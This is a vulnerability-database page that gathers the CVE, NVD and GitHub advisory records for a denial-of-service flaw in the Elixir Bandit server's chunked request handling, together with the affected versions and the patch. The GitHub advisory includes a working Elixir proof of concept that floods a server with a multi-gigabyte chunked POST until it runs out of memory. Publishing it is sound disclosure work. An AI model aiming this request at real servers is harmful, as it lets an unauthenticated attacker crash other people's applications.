Vulnerability-Lookup

CVE-2026-39803 (GCVE-0-2026-39803)

Vulnerability from cvelistv5 – Published: 2026-05-13 13:36 – Updated: 2026-05-13 18:27

Title

HTTP/1 chunked body reader ignores length cap in bandit

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion. The chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response. Because Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer. The content-length path in the same function correctly enforces the limit and is not affected. This issue affects bandit: from 1.4.0 before 1.11.1.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

EEF

References

4 references

URL	Tags
https://github.com/mtrudel/bandit/security/adviso…	vendor-advisoryrelated
https://cna.erlef.org/cves/CVE-2026-39803.html	related
https://osv.dev/vulnerability/EEF-CVE-2026-39803	related
https://github.com/mtrudel/bandit/commit/ae3520df…	patch

Impacted products

2 products

Vendor	Product	Version
mtrudel	bandit	Affected: 1.4.0 , < 1.11.1 (semver) cpe:2.3:a:mtrudel:bandit::::::::
mtrudel	bandit	Affected: 903e209a521bc216b9f9065c01ae9a0cac2d5a10 , < ae3520dfdbfab115c638f8c7f6f6b805db34e1ab (git) cpe:2.3:a:mtrudel:bandit::::::::

Credits

Peter Ullrich Mat Trudel Jonatan Männchen

Show details on NVD website

JSON

To clipboard

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Instead of capping the accumulated body at the configured limit (e.g. \u003ctt\u003ePlug.Parsers\u003c/tt\u003e\u0027 default 8 MB), \u003ctt\u003edo_read_chunked_data!/5\u003c/tt\u003e buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns \u003ctt\u003e{:ok, body, ...}\u003c/tt\u003e, so callers cannot interpose a 413 response.\u003c/p\u003e\u003cp\u003eBecause \u003ctt\u003ePlug.Parsers\u003c/tt\u003e runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single \u003ctt\u003eTransfer-Encoding: chunked\u003c/tt\u003e POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\u003c/p\u003e\u003cp\u003eThe content-length path in the same function correctly enforces the limit and is not affected.\u003c/p\u003e\u003cp\u003eThis issue affects bandit: from 1.4.0 before 1.11.1.\u003c/p\u003e\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-770\", \"description\": \"CWE-770 Allocation of Resources Without Limits or Throttling\"}]}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"1.11.1\", \"versionStartIncluding\": \"1.4.0\"}], \"operator\": \"OR\"}], \"operator\": \"AND\"}], \"providerMetadata\": {\"orgId\": \"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\", \"shortName\": \"EEF\", \"dateUpdated\": \"2026-05-13T18:27:30.095Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-39803\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-13T18:27:30.095Z\", \"dateReserved\": \"2026-04-07T12:28:54.916Z\", \"assignerOrgId\": \"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\", \"datePublished\": \"2026-05-13T13:36:09.648Z\", \"assignerShortName\": \"EEF\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-39803

Vulnerability from fkie_nvd - Published: 2026-05-13 14:17 - Updated: 2026-05-21 15:23

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://cna.erlef.org/cves/CVE-2026-39803.html	Third Party Advisory
6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab	Patch
6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2	Exploit, Vendor Advisory
6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://osv.dev/vulnerability/EEF-CVE-2026-39803	Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	mtrudel	bandit	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "74E94987-90D9-47B7-9473-24ABB26B8EB7",
              "versionEndExcluding": "1.11.1",
              "versionStartIncluding": "1.4.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of \u0027Elixir.Bandit.HTTP1.Socket\u0027:read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers\u0027 default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1."
    }
  ],
  "id": "CVE-2026-39803",
  "lastModified": "2026-05-21T15:23:12.223",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-13T14:17:32.633",
  "references": [
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://cna.erlef.org/cves/CVE-2026-39803.html"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39803"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2"
    }
  ],
  "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "type": "Secondary"
    }
  ]
}

GHSA-9Q9Q-324X-93R2

Vulnerability from github – Published: 2026-05-19 19:23 – Updated: 2026-05-19 19:23

Summary

Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`

Details

Summary

Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.

Details

In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.

The content-length sibling at :210 does the right thing:

max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))

Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.

Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.

PoC

Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.

Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])

defmodule DemoApp do
  use Plug.Builder

  # The `length` option here is ignored by the attack
  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
  plug :respond

  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end

{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)

# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"

{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])

:ok =
  :gen_tcp.send(sock, """
  POST / HTTP/1.1\r
  Host: 127.0.0.1\r
  Transfer-Encoding: chunked\r
  Content-Type: application/json\r
  Connection: close\r
  \r
  """)

Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")

IO.inspect(:gen_tcp.recv(sock, 0, 120_000))

Impact

Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.

Severity ?

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:23:49Z",
    "nvd_published_at": "2026-05-13T14:17:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nBandit\u0027s HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`\u0027 default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.\n\n### Details\n\nIn `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` \u2014 never `{:more, ...}` \u2014 so callers cannot interpose a 413.\n\nThe content-length sibling at `:210` does the right thing:\n\n```elixir\nmax_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))\n```\n\nBecause `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route \u2014 any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.\n\n**Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.\n\n### PoC\n\nSelf-contained \u2014 boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.\n\n```elixir\nMix.install([{:bandit, \"~\u003e 1.10\"}, {:plug, \"~\u003e 1.19\"}])\n\ndefmodule DemoApp do\n  use Plug.Builder\n\n  # The `length` option here is ignored by the attack\n  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: [\"*/*\"], json_decoder: JSON, length: 8_000_000\n  plug :respond\n\n  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, \"ok\")\nend\n\n{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)\n\n# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.\nchunk = :binary.copy(\u003c\u003c?A\u003e\u003e, 1_048_576)\nframe = \"#{Integer.to_string(1_048_576, 16)}\\r\\n#{chunk}\\r\\n\"\n\n{:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", 4321, [:binary, active: false])\n\n:ok =\n  :gen_tcp.send(sock, \"\"\"\n  POST / HTTP/1.1\\r\n  Host: 127.0.0.1\\r\n  Transfer-Encoding: chunked\\r\n  Content-Type: application/json\\r\n  Connection: close\\r\n  \\r\n  \"\"\")\n\nEnum.each(1..10_240, fn _ -\u003e :ok = :gen_tcp.send(sock, frame) end)\n:ok = :gen_tcp.send(sock, \"0\\r\\n\\r\\n\")\n\nIO.inspect(:gen_tcp.recv(sock, 0, 120_000))\n```\n\n### Impact\n\nUnauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere \u2014 i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.",
  "id": "GHSA-9q9q-324x-93r2",
  "modified": "2026-05-19T19:23:49Z",
  "published": "2026-05-19T19:23:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39803"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39803.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39803"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-39803 (GCVE-0-2026-39803)

FKIE_CVE-2026-39803

GHSA-9Q9Q-324X-93R2

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature